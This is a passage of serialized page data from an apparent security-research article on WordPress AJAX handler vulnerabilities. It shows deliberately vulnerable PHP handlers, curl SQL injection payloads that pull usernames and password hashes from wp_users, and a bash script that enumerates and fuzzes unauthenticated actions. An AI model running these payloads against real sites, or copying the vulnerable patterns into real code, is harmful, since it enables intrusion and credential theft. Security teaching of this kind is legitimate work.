nonce\n",[36,3357,3358,3360,3362,3364,3366,3369],{"class":38,"line":46},[36,3359,92],{"class":49},[36,3361,96],{"class":95},[36,3363,709],{"class":95},[36,3365,712],{"class":53},[36,3367,3368],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fsome-page\u002F'",[36,3370,155],{"class":95},[36,3372,3373,3376,3378,3380],{"class":38,"line":57},[36,3374,3375],{"class":102},"  |",[36,3377,617],{"class":49},[36,3379,726],{"class":95},[36,3381,3382],{"class":53}," 'nonce[\"\\s:]+\\K[a-f0-9]{10}'\n",[36,3384,3385],{"class":38,"line":64},[36,3386,61],{"emptyLinePlaceholder":60},[36,3388,3389],{"class":38,"line":70},[36,3390,3391],{"class":42},"# Use the extracted nonce\n",[36,3393,3394,3396,3398,3400,3402,3404,3406],{"class":38,"line":78},[36,3395,92],{"class":49},[36,3397,96],{"class":95},[36,3399,709],{"class":95},[36,3401,712],{"class":53},[36,3403,792],{"class":95},[36,3405,795],{"class":53},[36,3407,155],{"class":95},[36,3409,3410,3412],{"class":38,"line":83},[36,3411,3329],{"class":53},[36,3413,155],{"class":95},[36,3415,3416,3418],{"class":38,"line":89},[36,3417,818],{"class":95},[36,3419,3420],{"class":53}," 'action=my_plugin_action&nonce=EXTRACTED_NONCE&data=payload'\n",[18,3422,3424],{"id":3423},"common-ajax-security-vulnerabilities","Common AJAX Security Vulnerabilities",[684,3426,3428],{"id":3427},"_1-missing-authentication-check-nopriv-exposure","1. Missing Authentication Check (nopriv Exposure)",[14,3430,3431,3432,3435,3436,3439],{},"A handler registered with both ",[33,3433,3434],{},"wp_ajax_"," and ",[33,3437,3438],{},"wp_ajax_nopriv_"," that performs privileged operations:",[26,3441,3443],{"className":177,"code":3442,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: No capability check\nadd_action( 'wp_ajax_delete_user_data', 'delete_user_data_handler' );\nadd_action( 'wp_ajax_nopriv_delete_user_data', 'delete_user_data_handler' );\n\nfunction delete_user_data_handler() {\n    $user_id = intval( $_POST['user_id'] );\n    \u002F\u002F Deletes any user's data without checking if current user is authorized\n    delete_user_meta( $user_id, 'sensitive_data' );\n    wp_send_json_success();\n}\n",[33,3444,3445,3450,3455,3460,3464,3469,3474,3479,3484,3489],{"__ignoreMap":31},[36,3446,3447],{"class":38,"line":39},[36,3448,3449],{},"\u002F\u002F VULNERABLE: No capability check\n",[36,3451,3452],{"class":38,"line":46},[36,3453,3454],{},"add_action( 'wp_ajax_delete_user_data', 'delete_user_data_handler' );\n",[36,3456,3457],{"class":38,"line":57},[36,3458,3459],{},"add_action( 'wp_ajax_nopriv_delete_user_data', 'delete_user_data_handler' );\n",[36,3461,3462],{"class":38,"line":64},[36,3463,61],{"emptyLinePlaceholder":60},[36,3465,3466],{"class":38,"line":70},[36,3467,3468],{},"function delete_user_data_handler() {\n",[36,3470,3471],{"class":38,"line":78},[36,3472,3473],{},"    $user_id = intval( $_POST['user_id'] );\n",[36,3475,3476],{"class":38,"line":83},[36,3477,3478],{},"    \u002F\u002F Deletes any user's data without checking if current user is authorized\n",[36,3480,3481],{"class":38,"line":89},[36,3482,3483],{},"    delete_user_meta( $user_id, 'sensitive_data' );\n",[36,3485,3486],{"class":38,"line":115},[36,3487,3488],{},"    wp_send_json_success();\n",[36,3490,3491],{"class":38,"line":133},[36,3492,323],{},[14,3494,3495],{},"Testing:",[26,3497,3499],{"className":28,"code":3498,"language":30,"meta":31,"style":31},"# Works without any authentication\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=delete_user_data&user_id=1'\n",[33,3500,3501,3506,3520],{"__ignoreMap":31},[36,3502,3503],{"class":38,"line":39},[36,3504,3505],{"class":42},"# Works without any authentication\n",[36,3507,3508,3510,3512,3514,3516,3518],{"class":38,"line":46},[36,3509,92],{"class":49},[36,3511,96],{"class":95},[36,3513,792],{"class":95},[36,3515,795],{"class":53},[36,3517,3208],{"class":53},[36,3519,155],{"class":95},[36,3521,3522,3524],{"class":38,"line":57},[36,3523,818],{"class":95},[36,3525,3526],{"class":53}," 'action=delete_user_data&user_id=1'\n",[684,3528,3530],{"id":3529},"_2-missing-nonce-verification","2. Missing Nonce Verification",[26,3532,3534],{"className":177,"code":3533,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: No nonce check\nadd_action( 'wp_ajax_update_settings', 'update_settings_handler' );\n\nfunction update_settings_handler() {\n    \u002F\u002F Should call check_ajax_referer() here\n    $option = sanitize_text_field( $_POST['option_name'] );\n    $value  = sanitize_text_field( $_POST['option_value'] );\n    update_option( $option, $value );\n    wp_send_json_success();\n}\n",[33,3535,3536,3541,3546,3550,3555,3560,3565,3570,3575,3579],{"__ignoreMap":31},[36,3537,3538],{"class":38,"line":39},[36,3539,3540],{},"\u002F\u002F VULNERABLE: No nonce check\n",[36,3542,3543],{"class":38,"line":46},[36,3544,3545],{},"add_action( 'wp_ajax_update_settings', 'update_settings_handler' );\n",[36,3547,3548],{"class":38,"line":57},[36,3549,61],{"emptyLinePlaceholder":60},[36,3551,3552],{"class":38,"line":64},[36,3553,3554],{},"function update_settings_handler() {\n",[36,3556,3557],{"class":38,"line":70},[36,3558,3559],{},"    \u002F\u002F Should call check_ajax_referer() here\n",[36,3561,3562],{"class":38,"line":78},[36,3563,3564],{},"    $option = sanitize_text_field( $_POST['option_name'] );\n",[36,3566,3567],{"class":38,"line":83},[36,3568,3569],{},"    $value  = sanitize_text_field( $_POST['option_value'] );\n",[36,3571,3572],{"class":38,"line":89},[36,3573,3574],{},"    update_option( $option, $value );\n",[36,3576,3577],{"class":38,"line":115},[36,3578,3488],{},[36,3580,3581],{"class":38,"line":133},[36,3582,323],{},[14,3584,3585],{},"This is exploitable via CSRF from any page the admin visits. See the CSRF article for exploitation details.",[14,3587,3588],{},"Secure version:",[26,3590,3592],{"className":177,"code":3591,"language":179,"meta":31,"style":31},"function update_settings_handler() {\n    check_ajax_referer( 'update_settings_nonce', 'security' );\n    if ( ! current_user_can( 'manage_options' ) ) {\n        wp_send_json_error( 'Insufficient permissions', 403 );\n    }\n    \u002F\u002F ... rest of handler\n}\n",[33,3593,3594,3598,3603,3608,3613,3617,3622],{"__ignoreMap":31},[36,3595,3596],{"class":38,"line":39},[36,3597,3554],{},[36,3599,3600],{"class":38,"line":46},[36,3601,3602],{},"    check_ajax_referer( 'update_settings_nonce', 'security' );\n",[36,3604,3605],{"class":38,"line":57},[36,3606,3607],{},"    if ( ! current_user_can( 'manage_options' ) ) {\n",[36,3609,3610],{"class":38,"line":64},[36,3611,3612],{},"        wp_send_json_error( 'Insufficient permissions', 403 );\n",[36,3614,3615],{"class":38,"line":70},[36,3616,1622],{},[36,3618,3619],{"class":38,"line":78},[36,3620,3621],{},"    \u002F\u002F ... rest of handler\n",[36,3623,3624],{"class":38,"line":83},[36,3625,323],{},[684,3627,3629],{"id":3628},"_3-missing-capability-check","3. Missing Capability Check",[14,3631,3632],{},"Registered only for logged-in users but no role\u002Fcapability verification:",[26,3634,3636],{"className":177,"code":3635,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Any logged-in user (subscriber) can trigger this\nadd_action( 'wp_ajax_export_all_data', 'export_all_data_handler' );\n\nfunction export_all_data_handler() {\n    check_ajax_referer( 'export_nonce' ); \u002F\u002F Nonce is present, but...\n    \u002F\u002F No current_user_can() check - any subscriber can export all data\n    $data = $wpdb->get_results( \"SELECT * FROM wp_users\" );\n    wp_send_json_success( $data );\n}\n",[33,3637,3638,3643,3648,3652,3657,3662,3667,3672,3677],{"__ignoreMap":31},[36,3639,3640],{"class":38,"line":39},[36,3641,3642],{},"\u002F\u002F VULNERABLE: Any logged-in user (subscriber) can trigger this\n",[36,3644,3645],{"class":38,"line":46},[36,3646,3647],{},"add_action( 'wp_ajax_export_all_data', 'export_all_data_handler' );\n",[36,3649,3650],{"class":38,"line":57},[36,3651,61],{"emptyLinePlaceholder":60},[36,3653,3654],{"class":38,"line":64},[36,3655,3656],{},"function export_all_data_handler() {\n",[36,3658,3659],{"class":38,"line":70},[36,3660,3661],{},"    check_ajax_referer( 'export_nonce' ); \u002F\u002F Nonce is present, but...\n",[36,3663,3664],{"class":38,"line":78},[36,3665,3666],{},"    \u002F\u002F No current_user_can() check - any subscriber can export all data\n",[36,3668,3669],{"class":38,"line":83},[36,3670,3671],{},"    $data = $wpdb->get_results( \"SELECT * FROM wp_users\" );\n",[36,3673,3674],{"class":38,"line":89},[36,3675,3676],{},"    wp_send_json_success( $data );\n",[36,3678,3679],{"class":38,"line":115},[36,3680,323],{},[684,3682,3684],{"id":3683},"_4-sql-injection-via-post-parameters","4. SQL Injection via POST Parameters",[26,3686,3688],{"className":177,"code":3687,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Direct POST parameter interpolation\nadd_action( 'wp_ajax_search_orders', 'search_orders_handler' );\nadd_action( 'wp_ajax_nopriv_search_orders', 'search_orders_handler' );\n\nfunction search_orders_handler() {\n    global $wpdb;\n    $search = $_POST['search'];\n    \u002F\u002F Direct interpolation - SQL injection\n    $results = $wpdb->get_results(\n        \"SELECT * FROM {$wpdb->prefix}orders WHERE order_name LIKE '%$search%'\"\n    );\n    wp_send_json_success( $results );\n}\n",[33,3689,3690,3695,3700,3705,3709,3714,3718,3723,3728,3732,3737,3741,3746],{"__ignoreMap":31},[36,3691,3692],{"class":38,"line":39},[36,3693,3694],{},"\u002F\u002F VULNERABLE: Direct POST parameter interpolation\n",[36,3696,3697],{"class":38,"line":46},[36,3698,3699],{},"add_action( 'wp_ajax_search_orders', 'search_orders_handler' );\n",[36,3701,3702],{"class":38,"line":57},[36,3703,3704],{},"add_action( 'wp_ajax_nopriv_search_orders', 'search_orders_handler' );\n",[36,3706,3707],{"class":38,"line":64},[36,3708,61],{"emptyLinePlaceholder":60},[36,3710,3711],{"class":38,"line":70},[36,3712,3713],{},"function search_orders_handler() {\n",[36,3715,3716],{"class":38,"line":78},[36,3717,1040],{},[36,3719,3720],{"class":38,"line":83},[36,3721,3722],{},"    $search = $_POST['search'];\n",[36,3724,3725],{"class":38,"line":89},[36,3726,3727],{},"    \u002F\u002F Direct interpolation - SQL injection\n",[36,3729,3730],{"class":38,"line":115},[36,3731,1055],{},[36,3733,3734],{"class":38,"line":133},[36,3735,3736],{},"        \"SELECT * FROM {$wpdb->prefix}orders WHERE order_name LIKE '%$search%'\"\n",[36,3738,3739],{"class":38,"line":138},[36,3740,294],{},[36,3742,3743],{"class":38,"line":144},[36,3744,3745],{},"    wp_send_json_success( $results );\n",[36,3747,3748],{"class":38,"line":158},[36,3749,323],{},[14,3751,3752],{},"SQL injection test:",[26,3754,3756],{"className":28,"code":3755,"language":30,"meta":31,"style":31},"# Boolean-based test\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d \"action=search_orders&search=test' AND 1=1-- -\"\n\n# UNION-based extraction\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  --data-urlencode \"action=search_orders\" \\\n  --data-urlencode \"search=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -\"\n\n# Time-based blind\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  --data-urlencode \"action=search_orders\" \\\n  --data-urlencode \"search=x' AND SLEEP(5)-- -\"\n",[33,3757,3758,3763,3777,3784,3788,3793,3807,3817,3824,3828,3833,3847,3855],{"__ignoreMap":31},[36,3759,3760],{"class":38,"line":39},[36,3761,3762],{"class":42},"# Boolean-based test\n",[36,3764,3765,3767,3769,3771,3773,3775],{"class":38,"line":46},[36,3766,92],{"class":49},[36,3768,96],{"class":95},[36,3770,792],{"class":95},[36,3772,795],{"class":53},[36,3774,3208],{"class":53},[36,3776,155],{"class":95},[36,3778,3779,3781],{"class":38,"line":57},[36,3780,818],{"class":95},[36,3782,3783],{"class":53}," \"action=search_orders&search=test' AND 1=1-- -\"\n",[36,3785,3786],{"class":38,"line":64},[36,3787,61],{"emptyLinePlaceholder":60},[36,3789,3790],{"class":38,"line":70},[36,3791,3792],{"class":42},"# UNION-based extraction\n",[36,3794,3795,3797,3799,3801,3803,3805],{"class":38,"line":78},[36,3796,92],{"class":49},[36,3798,96],{"class":95},[36,3800,792],{"class":95},[36,3802,795],{"class":53},[36,3804,3208],{"class":53},[36,3806,155],{"class":95},[36,3808,3809,3812,3815],{"class":38,"line":83},[36,3810,3811],{"class":95},"  --data-urlencode",[36,3813,3814],{"class":53}," \"action=search_orders\"",[36,3816,155],{"class":95},[36,3818,3819,3821],{"class":38,"line":89},[36,3820,3811],{"class":95},[36,3822,3823],{"class":53}," \"search=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -\"\n",[36,3825,3826],{"class":38,"line":115},[36,3827,61],{"emptyLinePlaceholder":60},[36,3829,3830],{"class":38,"line":133},[36,3831,3832],{"class":42},"# Time-based blind\n",[36,3834,3835,3837,3839,3841,3843,3845],{"class":38,"line":138},[36,3836,92],{"class":49},[36,3838,96],{"class":95},[36,3840,792],{"class":95},[36,3842,795],{"class":53},[36,3844,3208],{"class":53},[36,3846,155],{"class":95},[36,3848,3849,3851,3853],{"class":38,"line":144},[36,3850,3811],{"class":95},[36,3852,3814],{"class":53},[36,3854,155],{"class":95},[36,3856,3857,3859],{"class":38,"line":158},[36,3858,3811],{"class":95},[36,3860,3861],{"class":53}," \"search=x' AND SLEEP(5)-- -\"\n",[684,3863,3865],{"id":3864},"_5-insufficient-output-encoding-leading-to-xss","5. Insufficient Output Encoding Leading to XSS",[26,3867,3869],{"className":177,"code":3868,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Reflects unsanitized input\nadd_action( 'wp_ajax_nopriv_get_product_info', 'get_product_info_handler' );\n\nfunction get_product_info_handler() {\n    $product_name = $_POST['product_name'];\n    \u002F\u002F Directly echoing user input in HTML response\n    echo '\u003Cdiv class=\"product\">' . $product_name . '\u003C\u002Fdiv>';\n    wp_die();\n}\n",[33,3870,3871,3876,3881,3885,3890,3895,3900,3905,3909],{"__ignoreMap":31},[36,3872,3873],{"class":38,"line":39},[36,3874,3875],{},"\u002F\u002F VULNERABLE: Reflects unsanitized input\n",[36,3877,3878],{"class":38,"line":46},[36,3879,3880],{},"add_action( 'wp_ajax_nopriv_get_product_info', 'get_product_info_handler' );\n",[36,3882,3883],{"class":38,"line":57},[36,3884,61],{"emptyLinePlaceholder":60},[36,3886,3887],{"class":38,"line":64},[36,3888,3889],{},"function get_product_info_handler() {\n",[36,3891,3892],{"class":38,"line":70},[36,3893,3894],{},"    $product_name = $_POST['product_name'];\n",[36,3896,3897],{"class":38,"line":78},[36,3898,3899],{},"    \u002F\u002F Directly echoing user input in HTML response\n",[36,3901,3902],{"class":38,"line":83},[36,3903,3904],{},"    echo '\u003Cdiv class=\"product\">' . $product_name . '\u003C\u002Fdiv>';\n",[36,3906,3907],{"class":38,"line":89},[36,3908,2856],{},[36,3910,3911],{"class":38,"line":115},[36,3912,323],{},[684,3914,3916],{"id":3915},"_6-idor-via-ajax","6. IDOR via AJAX",[26,3918,3920],{"className":177,"code":3919,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: No ownership check\nadd_action( 'wp_ajax_get_private_note', 'get_private_note_handler' );\n\nfunction get_private_note_handler() {\n    global $wpdb;\n    check_ajax_referer( 'notes_nonce' );\n    $note_id = intval( $_POST['note_id'] );\n    \u002F\u002F Fetches any note by ID without checking ownership\n    $note = $wpdb->get_row(\n        $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}notes WHERE id = %d\", $note_id )\n    );\n    wp_send_json_success( $note );\n}\n",[33,3921,3922,3927,3932,3936,3941,3945,3950,3955,3960,3965,3970,3974,3979],{"__ignoreMap":31},[36,3923,3924],{"class":38,"line":39},[36,3925,3926],{},"\u002F\u002F VULNERABLE: No ownership check\n",[36,3928,3929],{"class":38,"line":46},[36,3930,3931],{},"add_action( 'wp_ajax_get_private_note', 'get_private_note_handler' );\n",[36,3933,3934],{"class":38,"line":57},[36,3935,61],{"emptyLinePlaceholder":60},[36,3937,3938],{"class":38,"line":64},[36,3939,3940],{},"function get_private_note_handler() {\n",[36,3942,3943],{"class":38,"line":70},[36,3944,1040],{},[36,3946,3947],{"class":38,"line":78},[36,3948,3949],{},"    check_ajax_referer( 'notes_nonce' );\n",[36,3951,3952],{"class":38,"line":83},[36,3953,3954],{},"    $note_id = intval( $_POST['note_id'] );\n",[36,3956,3957],{"class":38,"line":89},[36,3958,3959],{},"    \u002F\u002F Fetches any note by ID without checking ownership\n",[36,3961,3962],{"class":38,"line":115},[36,3963,3964],{},"    $note = $wpdb->get_row(\n",[36,3966,3967],{"class":38,"line":133},[36,3968,3969],{},"        $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}notes WHERE id = %d\", $note_id )\n",[36,3971,3972],{"class":38,"line":138},[36,3973,294],{},[36,3975,3976],{"class":38,"line":144},[36,3977,3978],{},"    wp_send_json_success( $note );\n",[36,3980,3981],{"class":38,"line":158},[36,3982,323],{},[18,3984,3986],{"id":3985},"how-wordpress-determines-authentication-for-ajax","How WordPress Determines Authentication for AJAX",[14,3988,3989,3990,3992,3993,3996,3997,4000],{},"When a request hits ",[33,3991,2714],{},", WordPress runs ",[33,3994,3995],{},"wp_get_current_user()"," which calls ",[33,3998,3999],{},"determine_current_user",". The authentication sequence:",[2706,4002,4003,4014,4025,4031],{},[2709,4004,4005,4006,4009,4010,4013],{},"Checks ",[33,4007,4008],{},"$_COOKIE"," for ",[33,4011,4012],{},"wordpress_logged_in_{hash}"," cookie",[2709,4015,4016,4017,4020,4021,4024],{},"Checks HTTP ",[33,4018,4019],{},"Authorization"," header for application passwords (format: ",[33,4022,4023],{},"base64(username:app_password)",")",[2709,4026,4005,4027,4030],{},[33,4028,4029],{},"$_REQUEST['_wpnonce']"," for REST API nonce-based auth",[2709,4032,4033,4034,4036],{},"Fires the ",[33,4035,3999],{}," filter (allows plugins to add custom auth)",[14,4038,4039],{},"For testing authenticated endpoints programmatically:",[26,4041,4043],{"className":28,"code":4042,"language":30,"meta":31,"style":31},"# Using application passwords (WP 5.6+)\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -H 'Authorization: Basic $(echo -n \"admin:xxxx xxxx xxxx xxxx xxxx xxxx\" | base64)' \\\n  -d 'action=my_admin_action'\n\n# Proper base64 encoding\nAUTH=$(echo -n \"admin:xxxx xxxx xxxx xxxx xxxx xxxx\" | base64)\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -H \"Authorization: Basic $AUTH\" \\\n  -d 'action=my_admin_action'\n",[33,4044,4045,4050,4064,4073,4080,4084,4089,4111,4125,4139],{"__ignoreMap":31},[36,4046,4047],{"class":38,"line":39},[36,4048,4049],{"class":42},"# Using application passwords (WP 5.6+)\n",[36,4051,4052,4054,4056,4058,4060,4062],{"class":38,"line":46},[36,4053,92],{"class":49},[36,4055,96],{"class":95},[36,4057,792],{"class":95},[36,4059,795],{"class":53},[36,4061,3208],{"class":53},[36,4063,155],{"class":95},[36,4065,4066,4068,4071],{"class":38,"line":57},[36,4067,755],{"class":95},[36,4069,4070],{"class":53}," 'Authorization: Basic $(echo -n \"admin:xxxx xxxx xxxx xxxx xxxx xxxx\" | base64)'",[36,4072,155],{"class":95},[36,4074,4075,4077],{"class":38,"line":64},[36,4076,818],{"class":95},[36,4078,4079],{"class":53}," 'action=my_admin_action'\n",[36,4081,4082],{"class":38,"line":70},[36,4083,61],{"emptyLinePlaceholder":60},[36,4085,4086],{"class":38,"line":78},[36,4087,4088],{"class":42},"# Proper base64 encoding\n",[36,4090,4091,4094,4096,4098,4100,4102,4105,4107,4109],{"class":38,"line":83},[36,4092,4093],{"class":605},"AUTH",[36,4095,1220],{"class":102},[36,4097,1358],{"class":605},[36,4099,1226],{"class":95},[36,4101,1229],{"class":95},[36,4103,4104],{"class":53}," \"admin:xxxx xxxx xxxx xxxx xxxx xxxx\"",[36,4106,103],{"class":102},[36,4108,1238],{"class":49},[36,4110,1385],{"class":605},[36,4112,4113,4115,4117,4119,4121,4123],{"class":38,"line":89},[36,4114,92],{"class":49},[36,4116,96],{"class":95},[36,4118,792],{"class":95},[36,4120,795],{"class":53},[36,4122,3208],{"class":53},[36,4124,155],{"class":95},[36,4126,4127,4129,4132,4135,4137],{"class":38,"line":115},[36,4128,755],{"class":95},[36,4130,4131],{"class":53}," \"Authorization: Basic ",[36,4133,4134],{"class":605},"$AUTH",[36,4136,631],{"class":53},[36,4138,155],{"class":95},[36,4140,4141,4143],{"class":38,"line":133},[36,4142,818],{"class":95},[36,4144,4079],{"class":53},[18,4146,4148],{"id":4147},"wordpress-core-ajax-actions-reference","WordPress Core AJAX Actions (Reference)",[14,4150,4151],{},"WordPress itself registers numerous AJAX actions. Some relevant ones for security research:",[26,4153,4155],{"className":28,"code":4154,"language":30,"meta":31,"style":31},"# List core AJAX actions (they all follow this pattern in wp-admin\u002F)\ngrep -r \"wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002F --include=\"*.php\" -n | grep \"add_action\"\n\n# Core actions registered in wp-admin\u002Fincludes\u002Fajax-actions.php\ngrep \"add_action.*wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002Fincludes\u002Fajax-actions.php\n",[33,4156,4157,4162,4186,4190,4195],{"__ignoreMap":31},[36,4158,4159],{"class":38,"line":39},[36,4160,4161],{"class":42},"# List core AJAX actions (they all follow this pattern in wp-admin\u002F)\n",[36,4163,4164,4166,4168,4170,4173,4175,4177,4179,4181,4183],{"class":38,"line":46},[36,4165,490],{"class":49},[36,4167,2894],{"class":95},[36,4169,2897],{"class":53},[36,4171,4172],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002F",[36,4174,502],{"class":95},[36,4176,540],{"class":53},[36,4178,1229],{"class":95},[36,4180,103],{"class":102},[36,4182,617],{"class":49},[36,4184,4185],{"class":53}," \"add_action\"\n",[36,4187,4188],{"class":38,"line":57},[36,4189,61],{"emptyLinePlaceholder":60},[36,4191,4192],{"class":38,"line":64},[36,4193,4194],{"class":42},"# Core actions registered in wp-admin\u002Fincludes\u002Fajax-actions.php\n",[36,4196,4197,4199,4202],{"class":38,"line":70},[36,4198,490],{"class":49},[36,4200,4201],{"class":53}," \"add_action.*wp_ajax_\"",[36,4203,4204],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-admin\u002Fincludes\u002Fajax-actions.php\n",[14,4206,4207],{},"Key core AJAX actions:",[4209,4210,4211,4217,4223,4229,4235],"ul",{},[2709,4212,4213,4216],{},[33,4214,4215],{},"wp_ajax_heartbeat"," - Session keep-alive, runs frequently",[2709,4218,4219,4222],{},[33,4220,4221],{},"wp_ajax_query-attachments"," - Media library queries",[2709,4224,4225,4228],{},[33,4226,4227],{},"wp_ajax_save-post"," - Auto-save",[2709,4230,4231,4234],{},[33,4232,4233],{},"wp_ajax_add-user"," - User creation (admin only)",[2709,4236,4237,4240],{},[33,4238,4239],{},"wp_ajax_delete-plugin"," - Plugin deletion (admin only)",[18,4242,4244],{"id":4243},"automated-handler-discovery","Automated Handler Discovery",[14,4246,4247],{},"Script to enumerate all AJAX handlers in a WordPress installation and test each one:",[26,4249,4251],{"className":28,"code":4250,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\nTARGET=\"https:\u002F\u002Ftarget.example.com\"\nPLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\"\n\n# Extract all nopriv action names\nACTIONS=$(grep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_nopriv_\\K[^'\\\"]*\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -oh | sort -u)\n\necho \"Found nopriv actions:\"\nfor action in $ACTIONS; do\n    echo -n \"Testing $action: \"\n    RESPONSE=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n      -d \"action=$action\")\n    echo \"$RESPONSE\"\ndone\n",[33,4252,4253,4258,4266,4275,4279,4284,4311,4335,4339,4346,4360,4374,4407,4421,4431],{"__ignoreMap":31},[36,4254,4255],{"class":38,"line":39},[36,4256,4257],{"class":42},"#!\u002Fbin\u002Fbash\n",[36,4259,4260,4262,4264],{"class":38,"line":46},[36,4261,1886],{"class":605},[36,4263,1220],{"class":102},[36,4265,1891],{"class":53},[36,4267,4268,4270,4272],{"class":38,"line":57},[36,4269,2415],{"class":605},[36,4271,1220],{"class":102},[36,4273,4274],{"class":53},"\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\"\n",[36,4276,4277],{"class":38,"line":64},[36,4278,61],{"emptyLinePlaceholder":60},[36,4280,4281],{"class":38,"line":70},[36,4282,4283],{"class":42},"# Extract all nopriv action names\n",[36,4285,4286,4289,4291,4293,4295,4297,4299,4301,4304,4306,4309],{"class":38,"line":78},[36,4287,4288],{"class":605},"ACTIONS",[36,4290,1220],{"class":102},[36,4292,1358],{"class":605},[36,4294,490],{"class":49},[36,4296,574],{"class":95},[36,4298,2950],{"class":53},[36,4300,1498],{"class":95},[36,4302,4303],{"class":53},"]wp_ajax_nopriv_\\K[^'",[36,4305,1498],{"class":95},[36,4307,4308],{"class":53},"]*\"",[36,4310,155],{"class":95},[36,4312,4313,4315,4317,4319,4321,4323,4326,4328,4331,4333],{"class":38,"line":83},[36,4314,3113],{"class":53},[36,4316,2442],{"class":605},[36,4318,631],{"class":53},[36,4320,502],{"class":95},[36,4322,540],{"class":53},[36,4324,4325],{"class":95}," -oh",[36,4327,103],{"class":102},[36,4329,4330],{"class":49}," sort",[36,4332,467],{"class":95},[36,4334,1385],{"class":605},[36,4336,4337],{"class":38,"line":89},[36,4338,61],{"emptyLinePlaceholder":60},[36,4340,4341,4343],{"class":38,"line":115},[36,4342,1226],{"class":95},[36,4344,4345],{"class":53}," \"Found nopriv actions:\"\n",[36,4347,4348,4350,4353,4355,4358],{"class":38,"line":133},[36,4349,1325],{"class":102},[36,4351,4352],{"class":605}," action ",[36,4354,1331],{"class":102},[36,4356,4357],{"class":605}," $ACTIONS; ",[36,4359,609],{"class":102},[36,4361,4362,4364,4366,4369,4371],{"class":38,"line":138},[36,4363,2130],{"class":95},[36,4365,1229],{"class":95},[36,4367,4368],{"class":53}," \"Testing ",[36,4370,2797],{"class":605},[36,4372,4373],{"class":53},": \"\n",[36,4375,4376,4378,4380,4382,4384,4386,4388,4390,4392,4394,4396,4398,4400,4402,4405],{"class":38,"line":144},[36,4377,1353],{"class":605},[36,4379,1220],{"class":102},[36,4381,1358],{"class":605},[36,4383,92],{"class":49},[36,4385,96],{"class":95},[36,4387,2107],{"class":95},[36,4389,2110],{"class":53},[36,4391,2113],{"class":95},[36,4393,2116],{"class":53},[36,4395,792],{"class":95},[36,4397,795],{"class":53},[36,4399,625],{"class":53},[36,4401,1911],{"class":605},[36,4403,4404],{"class":53},"\u002Fwp-admin\u002Fadmin-ajax.php\"",[36,4406,155],{"class":95},[36,4408,4409,4412,4415,4417,4419],{"class":38,"line":158},[36,4410,4411],{"class":95},"      -d",[36,4413,4414],{"class":53}," \"action=",[36,4416,2797],{"class":605},[36,4418,631],{"class":53},[36,4420,1385],{"class":605},[36,4422,4423,4425,4427,4429],{"class":38,"line":255},[36,4424,2130],{"class":95},[36,4426,625],{"class":53},[36,4428,1397],{"class":605},[36,4430,668],{"class":53},[36,4432,4433],{"class":38,"line":261},[36,4434,678],{"class":102},[18,4436,4438],{"id":4437},"response-patterns-and-what-they-mean","Response Patterns and What They Mean",[4440,4441,4442,4455],"table",{},[4443,4444,4445],"thead",{},[4446,4447,4448,4452],"tr",{},[4449,4450,4451],"th",{},"Response",[4449,4453,4454],{},"Meaning",[4456,4457,4458,4468,4477,4490,4503,4515],"tbody",{},[4446,4459,4460,4465],{},[4461,4462,4463],"td",{},[33,4464,2743],{},[4461,4466,4467],{},"Nonce check failed (action exists but requires nonce)",[4446,4469,4470,4474],{},[4461,4471,4472],{},[33,4473,2740],{},[4461,4475,4476],{},"Action not found, or handler returned nothing",[4446,4478,4479,4484],{},[4461,4480,4481],{},[33,4482,4483],{},"1",[4461,4485,4486,4487,4024],{},"Generic success (handler called ",[33,4488,4489],{},"wp_die(1)",[4446,4491,4492,4497],{},[4461,4493,4494],{},[33,4495,4496],{},"{\"success\":true,...}",[4461,4498,4499,4500],{},"Handler called ",[33,4501,4502],{},"wp_send_json_success()",[4446,4504,4505,4510],{},[4461,4506,4507],{},[33,4508,4509],{},"{\"success\":false,...}",[4461,4511,4499,4512],{},[33,4513,4514],{},"wp_send_json_error()",[4446,4516,4517,4525],{},[4461,4518,4519,4521,4522],{},[33,4520,2743],{}," from ",[33,4523,4524],{},"check_ajax_referer",[4461,4526,4527],{},"Nonce invalid (plugin returned it directly)",[14,4529,4530,4531,4533],{},"When fuzzing, a response other than ",[33,4532,2740],{}," means the action was recognized and a handler ran.",[18,4535,4537],{"id":4536},"alternate-ajax-entry-points","Alternate AJAX Entry Points",[14,4539,4540,4541,4543],{},"While ",[33,4542,2714],{}," is the standard entry point, some plugins process AJAX via:",[2706,4545,4546,4549,4555,4561],{},[2709,4547,4548],{},"Custom PHP files in the plugin directory (accessed directly)",[2709,4550,4551,4552,4024],{},"WordPress REST API 